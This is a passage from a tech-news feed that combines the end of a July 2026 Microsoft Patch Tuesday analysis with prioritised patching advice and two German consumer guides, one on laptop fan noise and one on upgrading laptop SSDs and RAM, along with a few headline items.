  • On SharePoint Server, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there

Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.

Developer tools & databases

The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.

  • .NET: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally
  • SQL Server: the GDR updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly
  • Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches

The Readiness team recommends the following priorities for your larger enterprise deployments:

  • Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else
  • Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass
  • Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites
  • Run the scripted KeyGuard validation on any VBS estate, preferably on a dedicated machine.

Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:

  • Browsers (Microsoft IE and Edge)
  • Microsoft Windows (both desktop and server)
  • Microsoft Office
  • Microsoft Exchange and SQL Server
  • Microsoft Developer Tools (Visual Studio and .NET)
  • Adobe (if you get this far)

Browsers

Edge has had a busier month than usual. Microsoft addressed 46 Microsoft Edge (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by CVE-2026-58289, a remote code execution flaw. A run of further RCEs (CVE-2026-57981, CVE-2026-56645, CVE-2026-57974) follows.

  • Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.
  • Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the Chrome releases blog for the upstream notes.

The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.

Microsoft Windows

Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:

The Windows Kernel is the most-patched component (28 CVEs, seven “More Likely”), followed by NTFS (21), Windows Runtime (17), Windows Media (14), ReFS (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.

Microsoft Office

Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). SharePoint is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.

  • SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. CVE-2026-56164, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (CVE-2026-50522, CVE-2026-58644) and a critical security feature bypass (CVE-2026-55040). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.
  • Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them CVE-2026-55033 and CVE-2026-55127 in Word, CVE-2026-55043 in PowerPoint, and CVE-2026-55018 in Office), topped by CVE-2026-55045.

With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.

Microsoft Exchange and SQL Server

Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. Exchange Server returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.

  • Exchange Server (on-premises) – CVE-2026-55008, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (CVE-2026-55005) and two elevation-of-privilege flaws (CVE-2026-55006, CVE-2026-55009) round out the on-premises set. A separate Exchange Online elevation of privilege (CVE-2026-54998, critical) is fixed service-side with no customer action.
  • SQL Server – two critical remote code execution flaws: CVE-2026-54117 (SQL Server 2025) and CVE-2026-54118 (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.

Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.

Microsoft developer tools

Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s Visual Studio Code concentration toward .NET and ASP.NET Core, where a run of denial-of-service entries dominates the volume:

Add these Microsoft updates to your standard developer update release schedule.

Adobe (and third-party updates)

Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

]]> <![CDATA[Elegoo's emoji-branded Centauri Carbon 2 3D printer gets a price cut for World Emoji Day (yes, really) — and we called it one of the most reliable multifilament machines on the market]]> https://tsecurity.de/de/3676284/it-nachrichten/elegoos-emoji-branded-centauri-carbon-2-3d-printer-gets-a-price-cut-for-world-emoji-day-yes-really-and-we-called-it-one-of-the-most-reliable-multifilament-machines-on-the-market/ https://tsecurity.de/de/3676284/it-nachrichten/elegoos-emoji-branded-centauri-carbon-2-3d-printer-gets-a-price-cut-for-world-emoji-day-yes-really-and-we-called-it-one-of-the-most-reliable-multifilament-machines-on-the-market/ Fri, 17 Jul 2026 16:18:09 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Was Notebooks 2026 leise macht – und warum alte GerĂ€te plötzlich brĂŒllen]]> https://tsecurity.de/de/3675950/windows-tipps/was-notebooks-2026-leise-macht-und-warum-alte-geraete-ploetzlich-bruellen/ https://tsecurity.de/de/3675950/windows-tipps/was-notebooks-2026-leise-macht-und-warum-alte-geraete-ploetzlich-bruellen/ Fri, 17 Jul 2026 13:57:47 +0200 đŸȘŸ Windows Tipps tsecurity.de

Vielleicht kennen Sie das: Man sitzt konzentriert am Schreibtisch, und plötzlich klingt das Notebook wie eine startende Boeing 747. WÀhrend das eigene GerÀt bei der kleinsten Excel-Tabelle aufheult, scheint der Laptop des Kollegen selbst bei Videobearbeitung keinen Mucks von sich zu geben. Woran liegt das?

Ob ein Notebook flĂŒsterleise arbeitet oder stĂ€ndig den LĂŒfter anwirft, ist keine Zauberei, sondern ein Zusammenspiel aus Alter, Pflege, Software und der verbauten Hardware. Mit den folgenden Tipps machen Sie Schluss mit LĂŒfter-LĂ€rm – und verstehen, warum moderne GerĂ€te oft deutlich leiser arbeiten.

Der Zahn der Zeit: Warum alte GerÀte plötzlich zu laut sind

Viele Nutzer fragen sich, warum ihr ehemals leises Notebook nach zwei oder drei Jahren plötzlich zum Schreihals mutiert. Die Antwort liegt oft nicht nur in einem einzelnen Faktor, sondern in einer Kombination aus Staub, Alterung und verÀnderter Leistungscharakteristik.

Hausstaub ist dabei tatsĂ€chlich der chronische Hauptverursacher. Laptops mit aktiver KĂŒhlung saugen stĂ€ndig Luft an, um CPU und GPU zu kĂŒhlen. Dabei gelangen feine Partikel ins Innere, die sich mit der Zeit an den RotorblĂ€ttern des LĂŒfters und den Lamellen der KĂŒhlkörper absetzen. Das reduziert den Luftdurchsatz – schleichend, aber kontinuierlich.

Das System reagiert darauf mit höheren LĂŒfterdrehzahlen, weil die Temperatur schneller ansteigt oder nicht mehr effizient abgefĂŒhrt wird. ZusĂ€tzlich entsteht bei vielen Ă€lteren GerĂ€ten nahezu ein Regelkreislauf aus Hitze und LautstĂ€rke: Die CPU drosselt bei hohen Temperaturen (Thermal Throttling), kĂŒhlt daraufhin kurz ab, taktet dann aber wieder hoch – und erzeugt dadurch erneut WĂ€rme. Das fĂŒhrt zum typischen Aufheulen in Wellen – mit extra Nerv-Faktor.

Ein oft ĂŒbersehener Punkt ist auch die Alterung der WĂ€rmeleitpaste zwischen Prozessor und KĂŒhleinheit. Diese Paste trocknet aus und verliert ĂŒber die Jahre ihre gleichmĂ€ĂŸige WĂ€rmeverteilung. Dadurch entstehen lokale Hotspots, die den LĂŒfter zusĂ€tzlich fordern. Ein fachgerechter Austausch kann die Temperaturen je nach GerĂ€t deutlich senken – in manchen FĂ€llen um bis zu 10 Grad oder mehr.

Auch die Firmware spielt eine Rolle: Bei Ă€lteren Notebooks sind die hinterlegten LĂŒfterkurven oft konservativer eingestellt als bei heutigen GerĂ€ten. Das bedeutet: Der LĂŒfter springt frĂŒher und aggressiver an, um thermische Spitzen zu vermeiden. Solche Einstellungen nimmt man ĂŒbrigens am besten direkt nach dem Kauf eines neuen GerĂ€tes vor.

Macht das Reinigen des Laptop-Inneren Sinn?

Die kurze Antwort: Das macht auf jeden Fall Sinn – in vielen FĂ€llen ist es sogar die effektivste Maßnahme bei Ă€lteren GerĂ€ten.

Schnellreinigung: Mit Druckluftspray vorsichtig durch die LĂŒftungsschlitze pusten. Wichtig: Den LĂŒfter dabei möglichst fixieren, damit er sich nicht unkontrolliert durch den Luftstrom dreht – das kann ihn unnötig belasten. Druckluft hat dabei den Vorteil, dass sie in Strömungsrichtung des KĂŒhlsystems arbeitet und den Staub so aus dem GerĂ€t heraus transportiert. Alternativ lassen sich Staubablagerungen an den LĂŒftungsgittern auch vorsichtig mit einem Staubsauger auf niedriger Stufe von außen entfernen.

Die grĂŒndliche Reinigung: Bei vielen GerĂ€ten lĂ€sst sich die Bodenplatte relativ einfach entfernen. Im Inneren kann der Staub dann mit einem weichen Pinsel oder einem antistatischen Sauger direkt an KĂŒhlkörper und LĂŒfter entfernt werden. Besonders die feinen Lamellen setzen sich dort oft vollstĂ€ndig zu, ohne dass man es von außen sieht. Lesen Sie dazu auch unseren Ratgeber “So reinigen Sie PC und Laptop richtig“.

Software-Tools als unsichtbare LĂŒfter-Dirigenten

Fan Control Homepage
Mit Software wie Fan Control können Sie genau steuern, ab welcher Temperatur LĂŒfter wie stark arbeiten sollen.

Foundry

Oft ist nicht die Hardware das Problem, sondern die Art, wie das System mit Leistung und Temperatur umgeht. Windows und macOS arbeiten mit dynamischen Temperatur- und Leistungsprofilen, die entscheiden, wann Prozessor und LĂŒfter hochdrehen. Diese Profile sind ab Werk aber hĂ€ufig eher auf Sicherheit als auf LautstĂ€rke ausgelegt und reagieren dadurch manchmal zu aggressiv – sprich: laut.

  • Energieeinstellungen anpassen: Schon die Wahl des Leistungsprofils kann viel verĂ€ndern. FĂŒr typische Alltagsaufgaben wie Surfen, Textverarbeitung oder Streaming reicht oft ein gedrosselter Modus aus. Dadurch sinkt die CPU-Spitzenlast, und der LĂŒfter muss weniger leisten.
  • Hintergrundprozesse prĂŒfen: Dauerhaftes LĂŒfterrauschen entsteht hĂ€ufig durch unsichtbare Last im Hintergrund – etwa durch Browser-Tabs, Cloud-Synchronisation oder Updates. Der Task-Manager (Windows) bzw. die AktivitĂ€tsanzeige (macOS) zeigt Ihnen schnell, welche Prozesse permanent CPU-Leistung ziehen.
  • LĂŒfter- und Leistungssteuerung: Tools wie Fan Control, HWiNFO oder herstellereigene Systeme wie Armoury Crate ermöglichen detaillierte Temperatur- und LĂŒfterprofile. Damit lassen sich leisere Kurven definieren – etwa mit spĂ€terem Hochdrehen der LĂŒfter oder stabileren Temperaturzonen.

Beachten Sie allerdings: Zu aggressive manuelle Einstellungen können die Temperaturen unnötig in die Höhe treiben oder zu stĂ€rkeren Schwankungen fĂŒhren, wenn das System stĂ€ndig zwischen Boost und Drosselung pendelt.

Äußere EinflĂŒsse: Standort, Staubbelastung und Lichteinfall

Manchmal liegt das Problem nicht im Notebook selbst, sondern in seiner Umgebung. Besonders kritisch sind Unterlagen, die die Luftzufuhr blockieren. Ein Laptop auf dem Bett, Sofa oder Kissen wirkt auf die KĂŒhlung wie eine DĂ€mmmatte: Die Ansaugöffnungen werden teilweise oder komplett verdeckt, wĂ€hrend sich die WĂ€rme unter dem GerĂ€t staut.

Darauf sollten Sie achten:

  • Der richtige Untergrund: Immer eine harte, ebene FlĂ€che verwenden. Schon kleine Verbesserungen der Luftzufuhr können die LĂŒfteraktivitĂ€t deutlich reduzieren.
  • Umgebungstemperatur und Lichteinfall: Direkte Sonneneinstrahlung wird oft unterschĂ€tzt. Ein dunkles Notebook auf einem aufgeheizten Schreibtisch kann sich allein durch Umgebungshitze deutlich stĂ€rker erwĂ€rmen.
  • GehĂ€usematerialien: Hochwertige GerĂ€te aus Aluminium oder Magnesium nutzen das GehĂ€use als zusĂ€tzlichen WĂ€rmeleiter und verteilen die Hitze besser. KunststoffgehĂ€use isolieren stĂ€rker, wodurch sich WĂ€rme eher im Inneren staut und LĂŒfter hĂ€ufiger aktiv werden mĂŒssen.

Hardware-Hilfen: Was bringen KĂŒhlpads im Alltag?

KLIM Wind Laptop KĂŒhler2
KĂŒhlpads wie dieses von Klim heben das Notebook ergonomisch an und versorgen damit die Unterseite aktiv mit Frischluft.

Klim

Wenn Software-Optimierungen und Reinigung nicht mehr ausreichen, kommen externe KĂŒhllösungen ins Spiel – meist in Form von KĂŒhlpads oder sogenannten Cooling Stands. Dabei wird das Notebook auf eine erhöhte Plattform gesetzt, unter der kleine Ventilatoren Luft an die Unterseite des GehĂ€uses blasen.

Besonders bei Gaming-Laptops oder Ă€lteren GerĂ€ten unter Dauerlast können die Temperaturen damit messbar sinken. Das ist aber nicht immer die Lösung aller LĂŒfter-Sorgen und stark vom Aufbau des GerĂ€tes abhĂ€ngig.

Der vielleicht wichtigere Effekt ist eher indirekter Natur: Viele KĂŒhlpads heben das Notebook leicht an. Dadurch verbessert sich der Luftstrom unter dem GerĂ€t, selbst dann, wenn die LĂŒfter des Pads nur schwach laufen oder gar nicht aktiv sind. Schon ein grĂ¶ĂŸerer Abstand zur Tischplatte kann die passive KĂŒhlung stabilisieren und WĂ€rmestau verhindern.

Technik-Sprung: Neue Notebooks sind im Vorteil

Wer 2026 ein aktuelles Notebook mit Modellen von vor fĂŒnf Jahren vergleicht, kann oft einen deutlich ruhigeren Betrieb feststellen. DafĂŒr sind mehrere technologische Entwicklungen verantwortlich, die sich gegenseitig verstĂ€rken.

‱ ARM-basierte Prozessoren: Durch Architekturen wie Apple Silicon und moderne Snapdragon-X-Plattformen haben sich besonders im Ultrabook-Segment sehr energieeffiziente Chips etabliert (etwa von Qualcomm im Windows-Ökosystem). Diese Chips erzeugen bei Alltagslast deutlich weniger AbwĂ€rme, wodurch viele GerĂ€te im BĂŒro- und Medienbetrieb sehr leise oder sogar lĂŒfterlos arbeiten können. Bei hoher Dauerlast ist aber auch hier oft noch eine aktive KĂŒhlung notwendig.

‱ Intelligentere Leistungs- und KĂŒhlsteuerung: Statt klassisch harter LĂŒfterkurven setzen moderne Systeme zunehmend auf vorausschauende Steuerung. Das bedeutet: Leistung wird schrittweise aufgebaut, Temperaturspitzen werden abgefangen, bevor der LĂŒfter stark hochdrehen muss. Eine echte KI-KĂŒhlung im strengen Sinn ist das zwar nicht, adaptive Algorithmen sorgen aber fĂŒr deutlich gleichmĂ€ĂŸigere GerĂ€uschverlĂ€ufe.

‱ Weiterentwickelte KĂŒhlsysteme: Neben klassischen Heatpipes kommen in leistungsstĂ€rkeren GerĂ€ten hĂ€ufiger Vapor-Chamber-Systeme zum Einsatz, die WĂ€rme großflĂ€chiger verteilen. In High-End-Modellen werden zudem neue Materialien und Verbundlösungen getestet, um WĂ€rme schneller vom Chip ins GehĂ€use abzuleiten. Das Ziel ist weniger maximale KĂŒhlung, sondern ein stabileres Temperaturverhalten mit weniger LĂŒfterspitzen.

Profi-AusrĂŒstung: So machen Sie Ihr System flĂŒsterleise

Mit dem richtigen Zubehör lĂ€sst sich die LautstĂ€rke eines Notebooks oft weiter senken – entweder durch zusĂ€tzliche KĂŒhlung im Alltag oder durch gezielte Hardware-Upgrades.

Eine Hardware-Lösung sind etwa externe Vakuum-KĂŒhler wie der Klim Tempest Laptop KĂŒhler. Solche GerĂ€te werden direkt an die LĂŒftungsauslĂ€sse des Notebooks angesetzt und ziehen die warme Luft aktiv aus dem GehĂ€use. Besonders bei Ă€lteren oder stark belasteten GerĂ€ten kann das die Temperaturen unter Last spĂŒrbar senken. Allerdings hĂ€ngt die Wirkung davon ab, wie gut die LuftfĂŒhrung des jeweiligen Notebooks konstruiert ist.

FĂŒr den klassischen Schreibtischbetrieb sind KĂŒhlpads eine deutlich einfachere, weil universelle Lösung. Modelle wie das Targus Cooling Pad kombinieren eine leicht erhöhte AblageflĂ€che mit integrierten Ventilatoren, die Luft unter das Notebook fĂ€chern. Dadurch verbessert sich der Luftstrom an der GehĂ€useunterseite, was vor allem bei GerĂ€ten mit schwĂ€cherer KĂŒhlkonstruktion einen stabileren Temperaturverlauf unterstĂŒtzt. Gleichzeitig sorgt der Neigungswinkel fĂŒr eine angenehmere Arbeitshaltung.

Wer den konsequentesten Schritt Richtung Ruhe gehen möchte, kommt aber oft nicht um ein moderneres GerĂ€t herum. Besonders energieeffiziente Notebooks wie das Apple MacBook Air zeigen, wie weit sich die GerĂ€uschentwicklung inzwischen reduzieren lĂ€sst. Durch sehr geringe AbwĂ€rme im Alltagsbetrieb bleibt das KĂŒhlsystem oft inaktiv oder arbeitet nur minimal – im BĂŒro- und Medienalltag ist das GerĂ€t praktisch unhörbar.

Fazit

Ein lautes Notebook ist selten ein isoliertes Problem. Meistens ist es ein Zusammenspiel aus mehreren Faktoren: Staub im Inneren, ungĂŒnstige Aufstellung, alternde WĂ€rmeleitpaste und eine KĂŒhlstrategie, die nicht mehr optimal arbeitet.

Die gute Nachricht: In vielen FĂ€llen lĂ€sst sich die LautstĂ€rke mit ĂŒberschaubarem Aufwand deutlich reduzieren. Eine grĂŒndliche Reinigung, bessere Luftzufuhr und ein bewusster Umgang mit Energieprofilen reichen oft schon aus, um das LĂŒfterverhalten spĂŒrbar zu beruhigen.

Wenn das nicht mehr reicht, zeigt der Blick auf moderne GerĂ€te, wie stark sich die Technik verĂ€ndert hat. Effiziente Prozessoren und optimierte KĂŒhlsysteme sorgen heute dafĂŒr, dass Leistung nicht mehr automatisch mit LautstĂ€rke bezahlt werden muss.

]]> <![CDATA[Apple Increases Vapor Chamber Orders Ahead of Foldable iPhone Launch]]> https://tsecurity.de/de/3675059/ios-mac-os/apple-increases-vapor-chamber-orders-ahead-of-foldable-iphone-launch/ https://tsecurity.de/de/3675059/ios-mac-os/apple-increases-vapor-chamber-orders-ahead-of-foldable-iphone-launch/ Fri, 17 Jul 2026 06:41:23 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Top 10 Firewall Solutions Setting New Cybersecurity Standards in 2026 ]]> https://tsecurity.de/de/3674134/it-security-nachrichten/top-10-firewall-solutions-setting-new-cybersecurity-standards-in-2026/ https://tsecurity.de/de/3674134/it-security-nachrichten/top-10-firewall-solutions-setting-new-cybersecurity-standards-in-2026/ Thu, 16 Jul 2026 18:41:32 +0200 📰 IT Security Nachrichten tsecurity.de The firewall category is reinventing itself faster than at any point since NGFW arrived and 2026’s leaders aren’t just shipping better boxes, they’re redefining what “firewall” means. Palo Alto Networks is setting the bar for AI-driven inline prevention, Fortinet for hybrid mesh execution, and HPE Juniper for the quantum-safe era, while Zscaler and Cloudflare are proving the most consequential firewall of all might be no appliance whatsoever. Here [
]

The post Top 10 Firewall Solutions Setting New Cybersecurity Standards in 2026  appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

]]> <![CDATA[It’s a microwave, it’s an air fryer, it’s a... soup-maker? Ninja’s latest launch could be the only appliance your kitchen needs]]> https://tsecurity.de/de/3673927/it-nachrichten/its-a-microwave-its-an-air-fryer-its-a-soup-maker-ninjas-latest-launch-could-be-the-only-appliance-your-kitchen-needs/ https://tsecurity.de/de/3673927/it-nachrichten/its-a-microwave-its-an-air-fryer-its-a-soup-maker-ninjas-latest-launch-could-be-the-only-appliance-your-kitchen-needs/ Thu, 16 Jul 2026 17:18:09 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Laptop aufrĂŒsten: So bringen SSD und RAM den grĂ¶ĂŸten Leistungsschub]]> https://tsecurity.de/de/3672794/it-nachrichten/laptop-aufruesten-so-bringen-ssd-und-ram-den-groessten-leistungsschub/ https://tsecurity.de/de/3672794/it-nachrichten/laptop-aufruesten-so-bringen-ssd-und-ram-den-groessten-leistungsschub/ Thu, 16 Jul 2026 10:33:29 +0200 📰 IT Nachrichten tsecurity.de

Viele GerĂ€te aus den Jahren 2018 bis 2021 arbeiten technisch noch zuverlĂ€ssig, reagieren im Betrieb aber zĂ€h. In den meisten FĂ€llen laufen neuere Notebooks ab 2022 bis 2025 noch flĂŒssig, aber auch hier kann es sich lohnen, aufzurĂŒsten, um auch in Zukunft stabil und effektiv mit den GerĂ€ten arbeiten zu können. Hinzu kommt das Support-Ende von Windows 10, das einen Umstieg auf Windows 11 oder eine Alternative nötig macht. Statt eines Neukaufs genĂŒgen oft zwei Eingriffe, der Tausch des DatentrĂ€gers und die Erweiterung des Arbeitsspeichers. Beides hebt das Tempo merklich an und verlĂ€ngert die Nutzungsdauer um mehrere Jahre.

Übrigens: Sollten Sie Windows 11 Home im Einsatz haben, dann entgehen Ihnen die vielen Vorteile der Pro-Version, die wir Ihnen hier vorstellen. Im PC-WELT Software-Shop ist das Windows-11-Upgrade fĂŒr gĂŒnstige 59,99 Euro statt 145 Euro erhĂ€ltlich”.

PROMOTION

Ihre Kreativ-Projekte brauchen mehr Power? Dieser Laptop liefert sie – inklusive 12 Monaten Adobe Photography Plan

Das HP OmniBook Ultra 14 vereint High-End-Leistung mit kompaktem Design: Der IntelÂź Coreℱ Ultra 9 Prozessor mit KI-Boost-NPU liefert bis zu 50 TOPS fĂŒr anspruchsvolle Kreativ-Workflows. Das 14 Zoll 3K-OLED-Touchdisplay mit 120 Hz ĂŒberzeugt mit brillanten Farben und gestochen scharfen Details. 32 GB RAM und 1 TB SSD sorgen fĂŒr flĂŒssiges Arbeiten selbst bei großen Dateien. Aktuell erhalten Sie zusĂ€tzlich 12 Monate Adobe Photography Plan gratis dazu.

Erfahren Sie mehr ĂŒber das HP OmniBook Ultra 14

Die SSD bringt den grĂ¶ĂŸten Tempogewinn

Den stĂ€rksten Effekt liefert der Wechsel auf eine schnelle SSD. Eine alte Festplatte gegen ein Solid State Drive zu tauschen, senkt die Startzeit von Windows von rund 90 auf unter 15 Sekunden. Der Sprung macht aus einem zĂ€hen Wartesystem ein reaktionsschnelles Arbeitsmittel. Auch der Schritt von einer langsamen SATA-SSD auf eine moderne NVMe-SSD (Nonvolatile Memory Express) lohnt sich, denn NVMe-Laufwerke binden ĂŒber vier PCIe-Lanes (PCI Express) an und erreichen ein Vielfaches der SATA-Geschwindigkeit. SATA III liegt bei maximal 600 Megabyte pro Sekunde, eine NVMe-SSD der vierten PCIe-Generation schafft rund 7.000 Megabyte pro Sekunde.

Kingston NVMe-SSD

Wer hĂ€ufig SpeicherengpĂ€sse hat, kann sie dauerhaft nur ĂŒber einen Flashspeicher mit höherer KapazitĂ€t lösen – wie etwa hier mit einer NVMe-SSD von Kingston.

Foundry

Vor dem Kauf steht die PrĂŒfung des Anschlusses. GerĂ€te bis circa 2017 nutzen ĂŒberwiegend ein 2,5-Zoll-Laufwerk mit SATA-Anschluss, neuere Notebooks setzen auf den M.2-Steckplatz. Sitzt im GerĂ€t noch eine Festplatte, findet sich daneben oft ein freier M.2-Slot. Dann ĂŒbernimmt die neue SSD das System und die Festplatte bleibt als Datenspeicher erhalten. Beim M.2-Format zĂ€hlt die BaulĂ€nge. GĂ€ngig sind 2280 mit 80 Millimetern und das kĂŒrzere 2230 mit 30 Millimetern LĂ€nge, das in kompakten GerĂ€ten und Handhelds steckt. Den passenden Wert nennt das Datenblatt des Herstellers.

Bei der Leistungsklasse genĂŒgt Privatanwendern die vierte PCIe-Generation. Eine SSD der fĂŒnften Generation bringt im normalen Betrieb kaum messbaren Gewinn, erzeugt aber mehr WĂ€rme. Wichtiger als die letzte Stufe der Sequenzrate ist die Ausstattung. Modelle mit eigenem DRAM-Cache und TLC-Speicher halten die Geschwindigkeit unter Last lĂ€nger als gĂŒnstige Laufwerke mit QLC-Speicher und niedrigem TBW-Wert (geschriebene Terabyte). Gute Allrounder liefern Samsung 990 Pro, WD Black SN850X oder die kompakte WD Black SN770M im 2230-Format, im Budget-Bereich bleiben Kingston NV3 oder WD Blue SN580 bezahlbar. FĂŒr Reserven empfiehlt sich 1 oder 2 Terabyte, denn 1 Terabyte gilt als sinnvolle Untergrenze.

Vor dem Kauf prĂŒfen Sie:

  • Anschluss: SATA-Bauform 2,5 Zoll oder M.2-Steckplatz, ablesbar am Datenblatt oder nach dem Öffnen
  • BaulĂ€nge: 2280 oder 2230, vorab mit der GerĂ€tedokumentation abgleichen
  • Generation: PCIe 4.0 genĂŒgt im Regelbetrieb, PCIe 5.0 lohnt nur bei enormen Datenmengen
  • Ausstattung: TLC-Speicher mit DRAM-Cache fĂŒr stabile Schreibraten gegenĂŒber QLC-Budgetware

Mehr Arbeitsspeicher beschleunigt das Multitasking

Der zweite große Hebel ist der Arbeitsspeicher. Reicht der RAM nicht, lagert Windows Daten auf den DatentrĂ€ger aus und das System wird trĂ€ge. FĂŒr reines Surfen und Office bilden 8 Gigabyte die Untergrenze, fĂŒr flĂŒssiges Multitasking unter Windows 11 gelten 16 Gigabyte als sinnvoller Standard. Bildbearbeitung, Videoschnitt oder lokale KI-Anwendungen rechtfertigen 32 Gigabyte.

Notebooks nutzen das kompakte SO-DIMM-Format. Vor dem Kauf zĂ€hlen mehrere Angaben, die Generation DDR4 oder DDR5, die Bauform SO-DIMM und die maximale Taktrate. Der Task-Manager zeigt diese Werte ĂŒber die Tastenkombination Strg+Umschalt+Esc im Bereich “Leistung” unter “Arbeitsspeicher”, dazu die Zahl der Slots und deren Belegung.

DRAM-Taskmanager

Thomas Joos

DDR4 und DDR5 sind inkompatibel, die Kerben am Modul sitzen an anderer Stelle. Die Obergrenze des Mainboards nennt das Datenblatt. Alternativ liefert dieser Befehl in der Eingabeaufforderung den Wert in Kilobyte.

wmic memphysical get maxcapacity

Zwei gleiche Module im Dual-Channel-Betrieb bringen mehr als ein einzelner großer Riegel. Sitzen bereits zwei kleine Module in den Slots, lohnt der Tausch auf ein abgestimmtes Kit. Ein wachsender Teil schlanker Ultrabooks fĂŒhrt den Speicher fest verlötet als LPDDR5 oder LPDDR5X, hier scheidet eine Erweiterung aus. Als Nachfolger des SO-DIMM setzt die Branche auf das steckbare CAMM2 und seinen Notebook-Ableger LPCAMM2, der höhere Taktraten bei flacherer Bauform erlaubt.

Speicherpreise steigen 2026 deutlich

Die Preise fĂŒr Arbeitsspeicher und NAND-Flash sind seit Herbst 2025 stark gestiegen, getrieben von der Nachfrage der KI-Rechenzentren. DDR5 kostet je nach Modul ein Mehrfaches des Vorjahreswerts, auch SSDs zogen krĂ€ftig an. Eine 2-Terabyte-NVMe-SSD lag vor einem Jahr bei rund 110 Euro und kostet Mitte 2026 je nach Modell deutlich ĂŒber 300 Euro. Eine Entspannung erwarten die Analysten frĂŒhestens Ende 2026.

Cooler master DDR5 RAM with active cooling

Cooler Master

FĂŒr knappe Budgets bleibt die SATA-SSD die gĂŒnstige Alternative. Sie liegt mit maximal rund 550 Megabyte pro Sekunde unter dem NVMe-Tempo, kostet aber merklich weniger und genĂŒgt fĂŒr Surfen, Streaming und Ă€ltere Programme vollauf. Bei akutem Bedarf vergleichen Sie die Preise tagesaktuell. Vom Kauf auf Vorrat raten wir ab.

Der Einbau gelingt mit wenig Werkzeug

Der Einbau verlangt kein Spezialwissen. Zuerst identifizieren Sie das GerĂ€t ĂŒber die Modellnummer am GerĂ€teboden und gleichen die AufrĂŒstgrenzen mit dem Datenblatt des Herstellers ab, bei Lenovo zum Beispiel ĂŒber das PSREF. Als Werkzeug genĂŒgen ein kleiner Kreuzschlitz-Schraubendreher, ein Plastikspudger und ein Antistatik-Armband fĂŒr rund 10 Euro.

Sinnvoll ist eine feste Reihenfolge. Windows vollstÀndig herunterfahren -> Netzteil und USB-GerÀte abziehen -> an einer unlackierten MetallflÀche entladen -> Bodenplatte lösen -> internen Akkustecker abklemmen -> SSD oder RAM tauschen -> kurz testen -> verschrauben. Die Schrauben der Bodenplatte haben oft unterschiedliche LÀngen, eine Schale mit Positionsnotiz beugt Verwechslungen vor. Module fassen Sie nur an den Kanten, niemals an den goldenen Kontakten.

Surface Laptop 8 for Business keyboard

Mark Hachman / Foundry

